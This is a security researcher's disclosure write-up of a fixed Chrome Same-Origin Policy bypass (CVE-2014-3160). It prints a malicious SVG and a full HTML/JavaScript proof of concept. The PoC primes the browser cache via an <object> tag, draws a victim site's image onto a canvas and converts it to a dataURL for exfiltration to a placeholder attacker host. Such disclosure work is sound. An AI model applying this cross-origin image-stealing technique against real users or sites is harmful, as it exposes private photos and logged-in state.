Chrome SOP Bypass with SVG (CVE-2014-3160)

This is a short writeup about my SOP (Same-Origin Policy) bypass with SVG images I've found in Chrome, so that other security researchers can benefit from it. I reported the Chrome vulnerability to Google's security team in 2014 and they did a very good job at fixing it in Chrome's M36 release. At around Q4 2014 the bug ticket (#380885) was opened to public, so that I'm allowed to publish this writeup (as soon as I find time to write)...
Basically all kinds of SOP bypasses are rather critical, since they completely lift one of the important protection mechanisms in browsers (the SOP) against malicious websites doing nasty stuff while we're surfing. But this (rather hidden and not so easy to find) one only allowed the attacker to successfully exfiltrate images from other sites - not the site's textual content. Therefore it was only of medium severity, though depending on the application even this could be abused heavily, as I did in a PoC to steal victim's images/photos as an example.
I played a little with SVG images, HTML5 Canvas, and the SOP in Chrome trying to find ways to bypass the protection of the SOP and exfiltrate content cross-origin: Generally it is allowed to load images from other origins, as they are (by design) not governed by the SOP. With HTML5 Canvas it is easy to to render content like images or SVG in such a Canvas and derive a dataURL from it that can be sent to an attacker as Base64, which is simply the visual representation of the Canvas' content. So I thought of this as a way to exfiltrate secret content by putting it (via a malicious website) somehow onto a Canvas (cross-origin) and generating the dataURL from it to be sent back to me (as an attacker) in Base64.
Of course a Canvas object is not allowed to be stripped into a dataURL as soon as it contains tainted content like images coming from foreign origins: So roughly speaking one can fetch an image from a foreign origin, put it onto an HTML5 Canvas, but then fetching the dataURL from that Canvas is prohibited by the browser throwing a tainted canvas security exception.
Loading foreign content into Canvas via SVG
At first I experimented in a malicious website with many different ways to load foreign (i.e. cross-origin) content into a Canvas and tried to generate the dataURL from it, which I could then exfiltrate. As expected, all interesting ways to load foreign content directly into the Canvas resulted for Chrome (and the tested other browsers) in the aforementioned "tainted canvas security exception" when trying to generate the dataURL from it.
So I soon needed a more indirect way of loading foreign data into a Canvas, which is where SVG (Scalable Vector Graphics) came in:
- One could (on a malicious website) host a malicious SVG,
- which loads foreign content cross-origin (the target of the attack) and then
- simply render the SVG on the Canvas followed by
- generating the dataURL form it.
<foreignObject>
inside my malicious SVG to render HTML in SVG which allowed me to nest an <iframe>
in it, pointing towards a cross-origin page: the rendered SVG included the iframe of the data to exfiltrate, but when trying to draw the SVG onto a Canvas object and fetching the dataURL from that, Chrome successfully again prohibited it as a violation of the SOP. So no luck with <foreignObject>
inside SVG then. Same was true with other ways to load textual content cross-origin (via CSS for example): also no luck there...
Hence I tried to stick with image objects at least: The aim was to exfiltrate images from victims (like private photo albums, webmailer scanned documents attached as inline images, online banking stock portfolio images, etc.). The idea was to fetch them via a malicious website cross-origin, but indirectly via an image inside an SVG. Then again try to put that SVG onto a Canvas for dataURL generation and exfiltration. So here goes my first attempt towards the solution (though this first try was not working as explained later on):
Malicious SVG (named exploit.svg
hosted on attacker's site attacker.tld
), loading a secret image from victim.tld
in SVG to exfiltrate:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<rect fill="#bbbbbb" width="500" height="300"/>
<image x="0" y="0" width="400" height="250"
xlink:href="https://victim.tld/secret/secret.jpg"/>
</svg>
The malicious website (hosted also on attacker's site attacker.tld
) then tried to exploit it by drawing the SVG onto the Canvas and exfiltrate it. Please note that this first try did not work:
This exploit can be performed completely without user interaction. The following buttons are just to help you in understanding the exploit and how it works: To run it press "exploit step 1" button followed by "exploit step 2" <input type="button" value="exploit step 1" onclick="go1()"> <input type="button" value="exploit step 2" onclick="go2()"> <!-- Canvas (hidden) to strip the cross-origin image into dataURL later (can also be hidden using style="display:none" !) --> <canvas id="canvas" width="700" height="500"/> <script>function importSVG(source, target) { var ctx = target.getContext("2d"); var img = new Image(); img.src = source; img.onload = function() { ctx.drawImage(img,0,0); } } // load the attacker's exploit.svg into the Canvas // (note the exploit.svg itself references the victim's // secret cross-origin image!) function go1() { var canvas = document.getElementById("canvas"); importSVG("exploit.svg", canvas); } // tries to exfiltrate the cross-origin image by converting // the canvas into dataURL: function go2() { var img = canvas.toDataURL("image/png"); // detected by Chrome as SOP violation ;-( alert("I got the secret image here to exfiltrate stealthy: "+img); }</script>
But unfortunately (from the view of an attacker) this was also checked by Chrome: The try to exfiltrate the image's visible content by converting the Canvas (indirectly tainted by SVG with a cross-origin image) into a dataURL was prohibited as a violation of the SOP!
Resetting the tainted flag via browser cache
Well, up until here no luck so far... But after having tried so many ways to come up with the above version, I simply didn't want to give up on that SOP bypass path in Chrome, so that I needed to find a way to reset the tainted flag of the SVG's content somehow. At this point browser caching came into my mind:
What if the source of where the content to exfiltrate comes from is not directly the foreign origin? What if the image is fetched from a browser's cache instead?That was my final ingredient for the SOP bypass exploit to exfiltrate images!
So I slightly modified my malicious webpage by adding a loading of the SVG as a regular <object>
embedded content before the SVG is loaded (this time from cache) during the exploit's action. The embedding of the SVG via <object>
before was simply to populate the cache before the exploit runs, so that the tainted checks eventually will see the image in the SVG coming from the browser's cache instead of a foreign origin and thus allow us to exfiltrate it "via SVG via Canvas via dataURL".
The malicious website (hosted also on attacker's site attacker.tld
) now successfully exploited it by pre-populating the browser cache with the SVG. Please note that this second try did successfully work due to the colored addition of cache pre-population:
This exploit can be performed completely without user interaction. The following buttons are just to help you in understanding the exploit and how it works: To run it press "exploit step 1" button followed by "exploit step 2" <input type="button" value="exploit step 1" onclick="go1()"> <input type="button" value="exploit step 2" onclick="go2()"> <!-- Populates the image cache with the "secret" cross-origin image --> <object data="exploit.svg" type="image/svg+xml"></object> <!-- Canvas (hidden) to strip the cross-origin image into dataURL later (can also be hidden using style="display:none" !) --> <canvas id="canvas" width="700" height="500"/> <script>function importSVG(source, target) { var ctx = target.getContext("2d"); var img = new Image(); img.src = source; img.onload = function() { ctx.drawImage(img,0,0); } } // load the attacker's exploit.svg into the Canvas // (note the exploit.svg itself references the victim's // secret cross-origin image!) function go1() { var canvas = document.getElementById("canvas"); importSVG("exploit.svg", canvas); } // tries to exfiltrate the cross-origin image by converting // the canvas into dataURL: function go2() { var img = canvas.toDataURL("image/png"); alert("I got the secret image here to exfiltrate stealthy: "+img); }</script>
Finally that did the trick and the result was the successful exfiltration of images cross-origin in Chrome. The images are loaded with all authentication data in place, so cookies and HTTP auth is kept intact, allowing to exfiltrate secret images from users logged-in somewhere (like private photo albums, etc.). I also successfully exfiltrated an image attachment of a mail via Gmail webmailer. Another exploitation scenario is for the attacker to check whether the victim is logged in with some sites or not in case they serve certain images or not depending on the logged-in state.
Please note that the images were required to not have anti-caching headers for the exploit to run.
In other words: Serving (at least secret) images with proper anti-cache headers prevented the exploit from an application's point of view.From this point on I had found what I was seeking: A SOP bypass in Chrome. I reported that to Google's security team as bug ticket 380885 along with a working exploit on two of my domains: The exploit hosting code is still there (referenced from within the ticket), so that anyone interested in browser security can use this as a quick testcase... Google fixed it in version 36.0.1985.125 of Chrome for Windows, Mac and Linux and assigned the CVE-2014-3160.
For those of you interested in how the exploit looked I also enhanced it to not only alert the image, but also directly render it: The following three screenshots of the vulnerable Chrome version demonstrate it by exfiltrating a "top secret" image from a victim's domain and render it subsequently for quick demonstration (could be exfiltrated via XHR in the background). Also the exploit required no user interaction. The buttons "step 1" and "step 2" have just been added to have a better debugging and understanding of the exploit PoC demo:
- State before pressing "step 1"
We see the secret image from a logged-in state (other tab) with another domain: - State after pressing "step 1"
We see the secret image fetched into an SVG which is also rendered (for debugging purposes): - State after pressing "step 2"
We see the secret image exfiltrated (as dataURL below) and re-rendered for quick visual check. Here a fixed version simply shows a blank grey image instead:


